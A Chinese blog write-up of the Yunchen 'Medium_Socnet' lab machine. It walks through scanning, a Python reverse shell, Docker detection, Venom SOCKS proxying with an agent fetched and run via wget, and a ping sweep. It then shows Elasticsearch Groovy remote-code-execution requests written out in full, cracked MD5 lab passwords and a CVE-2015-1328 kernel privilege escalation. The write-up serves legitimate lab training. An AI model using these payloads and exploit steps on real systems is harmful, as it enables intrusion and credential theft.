云尘靶场 Medium_Socnet 内网为docker 无站代理 不存在gcc的提权方式 解决ldd过高无法执行exp 指定so文件

首先我们可以通过 arp-scan 扫描当前内网中的存活

但是不知道为什么扫不出来 然后我们使用fscan可以获取存活

 这里大致扫描只开了22端口

所以我们使用nmap进行信息收集扫描

nmap -sS -sV -A -p- 172.25.0.13

通过tcp 进行 版本服务扫描 并且检测系统版本 全端口

 

这里我们可以发现是通过python写的

或者我们如果只想测试端口 使用PortScan进行扫描

然后我们去访问 5000端口看看

这里提示我们输入代码执行 python 代码 所以我们看看能不能直接反弹shell

getshell咯

这里看题目

这是一个中等难度的靶机,其内部还有几个docker虚拟机,从而可以对内网部分有初步的涉及,比如内网信息收集、内网穿透、简单的横向移动等等。

接入网络,自主探测发现仿真虚拟靶机,利用其上的漏洞,获得其root权限。提交john用户的密码作为答案。

可以想到有可能是docker虚拟机

快速判断是不是docker环境_怎么判断一个网站是不是docker-CSDN博客

查看是否为docker

ps -ef

确实很少

ls /.dockerenv

确实有

/proc/1/cgroup

全是docker 那么docker环境没跑了

这里在学习一下代理

内网代理

之前我使用的是Neo-reGeorg-5.1.0 但是这个需要为常见代码启的站 遇到无法在站中解析就不会了

这里学习一下

venom

Release Venom v1.1.0 · Dliv3/Venom · GitHub

首先我们开启服务 这里我是windows

.\admin.exe -lport 9999

然后开启服务 通过wget 下载到靶机中

chmod 777 agent_linux_x64
./agent_linux_x64 -rhost 10.8.0.6 -rport 9999

然后回到主机

show

goto 1

socks 1080

这样我们就在1080开启了socks5代理

然后我们去链接

这里我们首先要知道 这个docker对应的内网ip是多少

ifconfig

172.17.0.3

我们去访问172.17.0.3:5000

发现是一样的

所以这里就是我们对应的内网ip了

我们要如何实现docker逃逸呢

首先我们需要探活

内网shell脚本探活

for i in $(seq 1 254);do ping -c 1 172.17.0.$i;done

这里我们无法通过socks代理出ping 因为位于不同层 所以要么通过反弹shell 获取ping

要么代理出来 nmap 但是我nmap扫除一大堆不是的 有可能是靶场的问题 所以我选择在反弹shell中 执行 shell脚本

这里获取了

172.17.0.1,172.17.0.2,172.17.0.3

这些ip

然后我们就可以通过nmap进行服务的扫描了

nmap -sV -sT 172.17.0.2 -Pn

获取到 一个 9200端口 开启 elasticsearch服务

ok咯

去搜个exp

然后复制进去进行python

wget上传 执行 发现报错request没有安装

pip install -t /usr/lib/python2.7/dist-packages/  requests

靶场问题无法联网安装

所以我们使用本地安装

https://www.cnblogs.com/Javi/p/9151629.html

https://www.cnblogs.com/rainbow-tan/p/14794387.html

这两个文章就可以实现下载了

然后执行

python 36337.py  172.17.0.2

getshell

这里我无法实现 所以我选择手动复现

先创建一个数据来保证存在数据

POST /website/blog/ HTTP/1.1
Host: 172.17.0.2:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
 
 
{
  "name": "test"
}

其次就是执行命令

POST /_search?pretty HTTP/1.1
Host: 172.17.0.2:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"ls\").getText()"}}}

发现存在passwords 看看是啥

整理出来

john:3f8184a7343664553fcb5337a3138814 ---->1337hack
test:861f194e9d6118f3d942a72be3e51749 ---->1234test
admin:670c3bbc209a18dde5446e5e6c1f1d5b---->1111pass 
root:b3d34352fc26117979deabdf1b9b6354 ---->1234pass    
jane:5c158b60ed97c723b673529b8a3cf72b ---->1234jane

md5爆破网站看看

依次通过ssh链接看看

最后通过john 的账号密码成功登入

提权

现在我们需要提权

首先看看内核

uname -a
Linux socnet 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

查找看看

searchsploit 3.13.0 linux

提取出来

这里有个问题 因为机器不一样 所以so文件也不会相同

所以我们无法保证 靶机上也存在相同的os文件 并且靶机也不存在gcc

所以我们需要把exp和so一同传递上去

先修改源代码

删除这里(这里注释)

然后gcc打包

gcc -o exp 37292.c 

然后我们去定位so文件

find / -name ofs-lib.so 2>/dev/null

或者

locate ofs-lib.so

 cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so /mnt/c/Users/Administrator/Desktop/

然后我们直接上传到tmp

赋权执行

 这里报错了 这里说明我的 kali中动态链接库太高了 这里我们可以使用

ldd --version

确定靶机ldd 然后去下载 解压 并且在编译的时候选择

gcc -o exp 37292.c -Ldir  /mnt/c/Users/Administrator/Desktop/ldd-2.19/libc6_2.19-0ubuntu6_amd64/data/lib/x86_64-linux-gnu/libc.so.6

然后传赋权即可

chmod +x exp

./exp

成功咯

所以flag就是 1337hack

我觉得最主要的是解决了 靶机上无法执行命令获取exp的方法

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值